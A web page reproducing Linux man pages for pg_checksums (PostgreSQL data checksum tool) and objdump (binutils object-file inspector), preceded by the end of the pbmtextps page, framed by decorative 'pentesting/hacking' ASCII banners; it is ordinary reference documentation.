This option makes pbmtextps write to Standard Output the Postscript program it would use to create the image, rather than the image itself. You can use this as input to a Postscript interpreter (such as Ghostscript or a printer) or to understand the program better.

This option was new in Netpbm 10.75 (June 2016).

USAGE

You can generate antialiased text by using a larger resolution than the default and scaling the image down using pamscale.

See the manual for the similar pbmtext for more advice on usage.

HISTORY

pbmtextps was added to Netpbm in Release 10.0 (June 2002).

SEE ALSO

pbmtext(1) , pamcut(1) , pnmcrop(1) , pamcomp(1) , ppmchange(1) , pnmrotate(1) , pamscale(1) , ppmlabel(1) , pbm(1)

AUTHOR

Copyright (C) 2002 by James McCann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtextps.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1166 - Linux cli command pg_checksums

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_checksums and provides detailed information about the command pg_checksums, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_checksums.

NAME 🖥️ pg_checksums 🖥️

enable, disable or check data checksums in a PostgreSQL database cluster

SYNOPSIS

pg_checksums [option…] [[-D | –pgdata]datadir]

DESCRIPTION

pg_checksums checks, enables or disables data checksums in a PostgreSQL cluster. The server must be shut down cleanly before running pg_checksums. When verifying checksums, the exit status is zero if there are no checksum errors, and nonzero if at least one checksum failure is detected. When enabling or disabling checksums, the exit status is nonzero if the operation failed.

When verifying checksums, every file in the cluster is scanned. When enabling checksums, each relation file block with a changed checksum is rewritten in-place. Disabling checksums only updates the file pg_control.

OPTIONS

The following command-line options are available:

-D directory
**–pgdata=**directory

Specifies the directory where the database cluster is stored.

-c
–check

Checks checksums. This is the default mode if nothing else is specified.

-d
–disable

Disables checksums.

-e
–enable

Enables checksums.

-f filenode
**–filenode=**filenode

Only validate checksums in the relation with filenode filenode.

-N
–no-sync

By default, pg_checksums will wait for all files to be written safely to disk. This option causes pg_checksums to return without waiting, which is faster, but means that a subsequent operating system crash can leave the updated data directory corrupt. Generally, this option is useful for testing but should not be used on a production installation. This option has no effect when using –check.

-P
–progress

Enable progress reporting. Turning this on will deliver a progress report while checking or enabling checksums.

-v
–verbose

Enable verbose output. Lists all checked files.

-V
–version

Print the pg_checksums version and exit.

-?
–help

Show help about pg_checksums command line arguments, and exit.

ENVIRONMENT

PGDATA

Specifies the directory where the database cluster is stored; can be overridden using the -D option.

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

Enabling checksums in a large cluster can potentially take a long time. During this operation, the cluster or other programs that write to the data directory must not be started or else data loss may occur.

When using a replication setup with tools which perform direct copies of relation file blocks (for example pg_rewind(1)), enabling or disabling checksums can lead to page corruptions in the shape of incorrect checksums if the operation is not done consistently across all nodes. When enabling or disabling checksums in a replication setup, it is thus recommended to stop all the clusters before switching them all consistently. Destroying all standbys, performing the operation on the primary and finally recreating the standbys from scratch is also safe.

If pg_checksums is aborted or killed while enabling or disabling checksums, the clusters data checksum configuration remains unchanged, and pg_checksums can be re-run to perform the same operation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1167 - Linux cli command x86_64-linux-gnu-objdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-objdump and provides detailed information about the command x86_64-linux-gnu-objdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-objdump.

NAME 🖥️ x86_64-linux-gnu-objdump 🖥️

display information from object files

SYNOPSIS

objdump [-a|–archive-headers] [-b bfdname|–target=bfdname] [-C|–demangle[=style] ] [-d|–disassemble[=symbol]] [-D|–disassemble-all] [-z|–disassemble-zeroes] [-EB|-EL|–endian={big | little }] [-f|–file-headers] [-F|–file-offsets] [–file-start-context] [-g|–debugging] [-e|–debugging-tags] [-h|–section-headers|–headers] [-i|–info] [-j section|–section=section] [-l|–line-numbers] [-S|–source] [–source-comment[=text]] [-m machine|–architecture=machine] [-M options|–disassembler-options=options] [-p|–private-headers] [-P options|–private=options] [-r|–reloc] [-R|–dynamic-reloc] [-s|–full-contents] [-Z|–decompress] [-W[lLiaprmfFsoORtUuTgAck]| –dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-WK|–dwarf=follow-links] [-WN|–dwarf=no-follow-links] [-wD|–dwarf=use-debuginfod] [-wE|–dwarf=do-not-use-debuginfod] [-L|–process-links] [–ctf=section] [–sframe=section] [-G|–stabs] [-t|–syms] [-T|–dynamic-syms] [-x|–all-headers] [-w|–wide] [–start-address=address] [–stop-address=address] [–no-addresses] [–prefix-addresses] [–[no-]show-raw-insn] [–adjust-vma=offset] [–show-all-symbols] [–dwarf-depth=n] [–dwarf-start=n] [–ctf-parent=section] [–no-recurse-limit|–recurse-limit] [–special-syms] [–prefix=prefix] [–prefix-strip=level] [–insn-width=width] [–visualize-jumps[=color|=extended-color|=off] [–disassembler-color=[off|terminal|on|extended] [-U method] [–unicode=method] [-V|–version] [-H|–help] objfile

DESCRIPTION

objdump displays information about one or more object files. The options control what particular information to display. This information is mostly useful to programmers who are working on the compilation tools, as opposed to programmers who just want their program to compile and work.

objfile… are the object files to be examined. When you specify archives, objdump shows information on each of the member object files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option from the list -a,-d,-D,-e,-f,-g,-G,-h,-H,-p,-P,-r,-R,-s,-S,-t,-T,-V,-x must be given.

-a

–archive-header

If any of the objfile files are archives, display the archive header information (in a format similar to ls -l). Besides the information you could list with ar tv, objdump -a shows the object file format of each archive member.

–adjust-vma=offset
When dumping information, first add offset to all the section addresses. This is useful if the section addresses do not correspond to the symbol table, which can happen when putting sections at particular addresses when using a format which can not represent section addresses, such as a.out.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname. This option may not be necessary; objdump can automatically recognize many formats. For example, objdump -b oasys -m vax -h fu.o displays summary information from the section headers (-h) of fu.o, which is explicitly identified (-m) as a VAX object file in the format produced by Oasys compilers. You can list the formats available with the -i option.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-g

–debugging

Display debugging information. This attempts to parse STABS debugging format information stored in the file and print it out using a C like syntax. If no STABS debugging was found this option falls back on the -W option to print any DWARF information in the file.

-e

–debugging-tags

Like -g, but the information is generated in a format compatible with ctags tool.

-d

–disassemble

–disassemble=symbol

Display the assembler mnemonics for the machine instructions from the input file. This option only disassembles those sections which are expected to contain instructions. If the optional symbol argument is given, then display the assembler mnemonics starting at symbol. If symbol is a function name then disassembly will stop at the end of the function, otherwise it will stop when the next symbol is encountered. If there are no matches for symbol then nothing will be displayed. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

-D

–disassemble-all

Like -d, but disassemble the contents of all non-empty non-bss sections, not just those expected to contain instructions. -j may be used to select specific sections. This option also has a subtle effect on the disassembly of instructions in code sections. When option -d is in effect objdump will assume that any symbols present in a code section occur on the boundary between instructions and it will refuse to disassemble across such a boundary. When option -D is in effect however this assumption is supressed. This means that it is possible for the output of -d and -D to differ if, for example, data is stored in code sections. If the target is an ARM architecture this switch also has the effect of forcing the disassembler to decode pieces of data found in code sections as if they were instructions. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

–no-addresses
When disassembling, don’t print addresses on each line or for symbols and relocation offsets. In combination with –no-show-raw-insn this may be useful for comparing compiler output.

–prefix-addresses
When disassembling, print the complete address on each line. This is the older disassembly format.

-EB

-EL

–endian={big|little}

Specify the endianness of the object files. This only affects disassembly. This can be useful when disassembling a file format which does not describe endianness information, such as S-records.

-f

–file-headers

Display summary information from the overall header of each of the objfile files.

-F

–file-offsets

When disassembling sections, whenever a symbol is displayed, also display the file offset of the region of data that is about to be dumped. If zeroes are being skipped, then when disassembly resumes, tell the user how many zeroes were skipped and the file offset of the location from where the disassembly resumes. When dumping sections, display the file offset of the location from where the dump starts.

–file-start-context
Specify that when displaying interlisted source code/disassembly (assumes -S) from a file that has not yet been displayed, extend the context to the start of the file.

-h

–section-headers

–headers

Display summary information from the section headers of the object file. File segments may be relocated to nonstandard addresses, for example by using the -Ttext, -Tdata, or -Tbss options to ld. However, some object file formats, such as a.out, do not store the starting address of the file segments. In those situations, although ld relocates the sections correctly, using objdump -h to list the file section headers cannot show the correct addresses. Instead, it shows the usual addresses, which are implicit for the target. Note, in some cases it is possible for a section to have both the READONLY and the NOREAD attributes set. In such cases the NOREAD attribute takes precedence, but objdump will report both since the exact setting of the flag bits might be important.

-H

–help

Print a summary of the options to objdump and exit.

-i

–info

Display a list showing all architectures and object formats available for specification with -b or -m.

-j name

–section=name

Display information for section name. This option may be specified multiple times.

-L

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -WK option, and only sections requested by other command line options will be displayed.

-l

–line-numbers

Label the display (using debugging information) with the filename and source line numbers corresponding to the object code or relocs shown. Only useful with -d, -D, or -r.

-m machine

–architecture=machine

Specify the architecture to use when disassembling object files. This can be useful when disassembling object files which do not describe architecture information, such as S-records. You can list the available architectures with the -i option. For most architectures it is possible to supply an architecture name and a machine name, separated by a colon. For example foo:bar would refer to the bar machine type in the foo architecture. This can be helpful if objdump has been configured to support multiple architectures. If the target is an ARM architecture then this switch has an additional effect. It restricts the disassembly to only those instructions supported by the architecture specified by machine. If it is necessary to use this switch because the input file does not contain any architecture information, but it is also desired to disassemble all the instructions use -marm.

-M options

–disassembler-options=options

Pass target specific information to the disassembler. Only supported on some targets. If it is necessary to specify more than one disassembler option then multiple -M options can be used or can be placed together into a comma separated list. For ARC, dsp controls the printing of DSP instructions, spfp selects the printing of FPX single precision FP instructions, dpfp selects the printing of FPX double precision FP instructions, quarkse_em selects the printing of special QuarkSE-EM instructions, fpuda selects the printing of double precision assist instructions, fpus selects the printing of FPU single precision FP instructions, while fpud selects the printing of FPU double precision FP instructions. Additionally, one can choose to have all the immediates printed in hexadecimal using hex. By default, the short immediates are printed using the decimal representation, while the long immediate values are printed as hexadecimal. cpu=… allows one to enforce a particular ISA when disassembling instructions, overriding the -m value or whatever is in the ELF file. This might be useful to select ARC EM or HS ISA, because architecture is same for those and disassembler relies on private ELF header data to decide if code is for EM or HS. This option might be specified multiple times - only the latest value will be used. Valid values are same as for the assembler -mcpu=… option. If the target is an ARM architecture then this switch can be used to select which register name set is used during disassembler. Specifying -M reg-names-std (the default) will select the register names as used in ARM’s instruction set documentation, but with register 13 called ‘sp’, register 14 called ’lr’ and register 15 called ‘pc’. Specifying -M reg-names-apcs will select the name set used by the ARM Procedure Call Standard, whilst specifying -M reg-names-raw will just use r followed by the register number. There are also two variants on the APCS register naming scheme enabled by -M reg-names-atpcs and -M reg-names-special-atpcs which use the ARM/Thumb Procedure Call Standard naming conventions. (Either with the normal register names or the special register names). This option can also be used for ARM architectures to force the disassembler to interpret all instructions as Thumb instructions by using the switch –disassembler-options=force-thumb. This can be useful when attempting to disassemble thumb code produced by other compilers. For AArch64 targets this switch can be used to set whether instructions are disassembled as the most general instruction using the -M no-aliases option or whether instruction notes should be generated as comments in the disasssembly using -M notes. For the x86, some of the options duplicate functions of the -m switch, but allow finer grained control.

“x86-64”

“i386”

“i8086”

Select disassembly for the given architecture.

“intel”

“att”

Select between intel syntax mode and AT&T syntax mode.

“amd64”

“intel64”

Select between AMD64 ISA and Intel64 ISA.

“intel-mnemonic”

“att-mnemonic”

Select between intel mnemonic mode and AT&T mnemonic mode. Note: intel-mnemonic implies intel and att-mnemonic implies att.

“addr64”

“addr32”

“addr16”

“data32”

“data16”

Specify the default address size and operand size. These five options will be overridden if x86-64, i386 or i8086 appear later in the option string.

“suffix”
When in AT&T mode and also for a limited set of instructions when in Intel mode, instructs the disassembler to print a mnemonic suffix even when the suffix could be inferred by the operands or, for certain instructions, the execution mode’s defaults.

For PowerPC, the -M argument raw selects disasssembly of hardware insns rather than aliases. For example, you will see rlwinm rather than clrlwi, and addi rather than li. All of the -m arguments for gas that select a CPU are supported. These are: 403, 405, 440, 464, 476, 601, 603, 604, 620, 7400, 7410, 7450, 7455, 750cl, 821, 850, 860, a2, booke, booke32, cell, com, e200z2, e200z4, e300, e500, e500mc, e500mc64, e500x2, e5500, e6500, efs, power4, power5, power6, power7, power8, power9, power10, power11, ppc, ppc32, ppc64, ppc64bridge, ppcps, pwr, pwr2, pwr4, pwr5, pwr5x, pwr6, pwr7, pwr8, pwr9, pwr10, pwr11, pwrx, titan, vle, and future. 32 and 64 modify the default or a prior CPU selection, disabling and enabling 64-bit insns respectively. In addition, altivec, any, lsp, htm, vsx, spe and spe2 add capabilities to a previous or later CPU selection. any will disassemble any opcode known to binutils, but in cases where an opcode has two different meanings or different arguments, you may not see the disassembly you expect. If you disassemble without giving a CPU selection, a default will be chosen from information gleaned by BFD from the object files headers, but the result again may not be as you expect. For MIPS, this option controls the printing of instruction mnemonic names and register names in disassembled instructions. Multiple selections from the following may be specified as a comma separated string, and invalid options are ignored:

“no-aliases”
Print the ‘raw’ instruction mnemonic instead of some pseudo instruction mnemonic. I.e., print ‘daddu’ or ‘or’ instead of ‘move’, ‘sll’ instead of ’nop’, etc.

“msa”
Disassemble MSA instructions.

“virt”
Disassemble the virtualization ASE instructions.

“xpa”
Disassemble the eXtended Physical Address (XPA) ASE instructions.

“gpr-names=ABI”
Print GPR (general-purpose register) names as appropriate for the specified ABI. By default, GPR names are selected according to the ABI of the binary being disassembled.

“fpr-names=ABI”
Print FPR (floating-point register) names as appropriate for the specified ABI. By default, FPR numbers are printed rather than names.

“cp0-names=ARCH”
Print CP0 (system control coprocessor; coprocessor 0) register names as appropriate for the CPU or architecture specified by ARCH. By default, CP0 register names are selected according to the architecture and CPU of the binary being disassembled.

“hwr-names=ARCH”
Print HWR (hardware register, used by the rdhwr instruction) names as appropriate for the CPU or architecture specified by ARCH. By default, HWR names are selected according to the architecture and CPU of the binary being disassembled.

“reg-names=ABI”
Print GPR and FPR names as appropriate for the selected ABI.

“reg-names=ARCH”
Print CPU-specific register names (CP0 register and HWR names) as appropriate for the selected CPU or architecture.

For any of the options listed above, ABI or ARCH may be specified as numeric to have numbers printed rather than names, for the selected types of registers. You can list the available values of ABI and ARCH using the –help option. For VAX, you can specify function entry addresses with -M entry:0xf00ba. You can use this multiple times to properly disassemble VAX binary files that don’t contain symbol tables (like ROM dumps). In these cases, the function entry mask would otherwise be decoded as VAX instructions, which would probably lead the rest of the function being wrongly disassembled.

-p

–private-headers

Print information that is specific to the object file format. The exact information printed depends upon the object file format. For some object file formats, no additional information is printed.

-P options

–private=options

Print information that is specific to the object file format. The argument options is a comma separated list that depends on the format (the lists of options is displayed with the help). For XCOFF, the available options are:

“header”

“aout”

“sections”

“syms”

“relocs”

“lineno,”

“loader”

“except”

“typchk”

“traceback”

“toc”

“ldinfo”

For PE, the available options are:

“header”

“sections”

Not all object formats support this option. In particular the ELF format does not use it.

-r

–reloc

Print the relocation entries of the file. If used with -d or -D, the relocations are printed interspersed with the disassembly.

-R

–dynamic-reloc

Print the dynamic relocation entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. As for -r, if used with -d or -D, the relocations are printed interspersed with the disassembly.

-s

–full-contents

Display the full contents of sections, often used in combination with -j to request specific sections. By default all non-empty non-bss sections are displayed. By default any compressed section will be displayed in its compressed form. In order to see the contents in a decompressed form add the -Z option to the command line.

-S

–source

Display source code intermixed with disassembly, if possible. Implies -d.

–show-all-symbols
When disassembling, show all the symbols that match a given address, not just the first one.

–source-comment[=txt]
Like the -S option, but all source code lines are displayed with a prefix of txt. Typically txt will be a comment string which can be used to distinguish the assembler code from the source code. If txt is not provided then a default string of "# “ (hash followed by a space), will be used.

–prefix=prefix
Specify prefix to add to the absolute paths when used with -S.

–prefix-strip=level
Indicate how many initial directory names to strip off the hardwired absolute paths. It has no effect without **–prefix=**prefix.

–show-raw-insn
When disassembling instructions, print the instruction in hex as well as in symbolic form. This is the default except when –prefix-addresses is used.

–no-show-raw-insn
When disassembling instructions, do not print the instruction bytes. This is the default when –prefix-addresses is used.

–insn-width=width
Display width bytes on a single line when disassembling instructions.

–visualize-jumps[=color|=extended-color|=off]
Visualize jumps that stay inside a function by drawing ASCII art between the start and target addresses. The optional =color argument adds color to the output using simple terminal colors. Alternatively the =extended-color argument will add color using 8bit colors, but these might not work on all terminals. If it is necessary to disable the visualize-jumps option after it has previously been enabled then use visualize-jumps=off.

–disassembler-color=off

–disassembler-color=terminal

–disassembler-color=on|color|colour

–disassembler-color=extened|extended-color|extened-colour

Enables or disables the use of colored syntax highlighting in disassembly output. The default behaviour is determined via a configure time option. Note, not all architectures support colored syntax highlighting, and depending upon the terminal used, colored output may not actually be legible. The on argument adds colors using simple terminal colors. The terminal argument does the same, but only if the output device is a terminal. The extended-color argument is similar to the on argument, but it uses 8-bit colors. These may not work on all terminals. The off argument disables colored disassembly.

-W[lLiaprmfFsoORtUuTgAckK]

–dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

–dwarf-check
Enable additional checks for consistency of Dwarf information.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–sframe[=section]
Display the contents of the specified SFrame section. By default, display the name of the section named .sframe, which is the name emitted by ld.

-G

–stabs

Display the full contents of any sections requested. Display the contents of the .stab and .stab.index and .stab.excl sections from an ELF file. This is only useful on systems (such as Solaris 2.0) in which .stab debugging symbol-table entries are carried in an ELF section. In most other file formats, debugging symbol-table entries are interleaved with linkage symbols, and are visible in the –syms output.

–start-address=address
Start displaying data at the specified address. This affects the output of the -d, -r and -s options.

–stop-address=address
Stop displaying data at the specified address. This affects the output of the -d, -r and -s options.

-t

–syms

Print the symbol table entries of the file. This is similar to the information provided by the nm program, although the display format is different. The format of the output depends upon the format of the file being dumped, but there are two main types. One looks like this: [ 4](sec 3)(fl 0x00)(ty 0)(scl 3) (nx 1) 0x00000000 .bss [ 6](sec 1)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x00000000 fred where the number inside the square brackets is the number of the entry in the symbol table, the sec number is the section number, the fl value are the symbol’s flag bits, the ty number is the symbol’s type, the scl number is the symbol’s storage class and the nx value is the number of auxiliary entries associated with the symbol. The last two fields are the symbol’s value and its name. The other common output format, usually seen with ELF based files, looks like this: 00000000 l d .bss 00000000 .bss 00000000 g .text 00000000 fred Here the first number is the symbol’s value (sometimes referred to as its address). The next field is actually a set of characters and spaces indicating the flag bits that are set on the symbol. These characters are described below. Next is the section with which the symbol is associated or *ABS* if the section is absolute (ie not connected with any section), or *UND* if the section is referenced in the file being dumped, but not defined there. After the section name comes another field, a number, which for common symbols is the alignment and for other symbol is the size. Finally the symbol’s name is displayed. The flag characters are divided into 7 groups as follows:

“l”

“g”

“u”

“!”

The symbol is a local (l), global (g), unique global (u), neither global nor local (a space) or both global and local (!). A symbol can be neither local or global for a variety of reasons, e.g., because it is used for debugging, but it is probably an indication of a bug if it is ever both local and global. Unique global symbols are a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

“w”
The symbol is weak (w) or strong (a space).

“C”
The symbol denotes a constructor (C) or an ordinary symbol (a space).

“W”
The symbol is a warning (W) or a normal symbol (a space). A warning symbol’s name is a message to be displayed if the symbol following the warning symbol is ever referenced.

“I”

“i”

The symbol is an indirect reference to another symbol (I), a function to be evaluated during reloc processing (i) or a normal symbol (a space).

“d”

“D”

The symbol is a debugging symbol (d) or a dynamic symbol (D) or a normal symbol (a space).

“F”

“f”

“O”

The symbol is the name of a function (F) or a file (f) or an object (O) or just a normal symbol (a space).

-T

–dynamic-syms

Print the dynamic symbol table entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. This is similar to the information provided by the nm program when given the -D (–dynamic) option. The output format is similar to that produced by the –syms option, except that an extra field is inserted before the symbol’s name, giving the version information associated with the symbol. If the version is the default version to be used when resolving unversioned references to the symbol then it’s displayed as is, otherwise it’s put into parentheses.

–special-syms
When displaying symbols include those which the target considers to be special in some way and which would not normally be of interest to the user.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-V

–version

Print the version number of objdump and exit.

-x

–all-headers

Display all available header information, including the symbol table and relocation entries. Using -x is equivalent to specifying all of -a -f -h -p -r -t.

-w

–wide

Format some lines for output devices that have more than 80 columns. Also do not truncate symbol names when they are displayed.

-z

–disassemble-zeroes

Normally the disassembly output will skip blocks of zeroes. This option directs the disassembler to disassemble those blocks, just like any other data.

-Z

–decompress

The -Z option is meant to be used in conunction with the -s option. It instructs objdump to decompress any compressed sections before displaying their contents.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

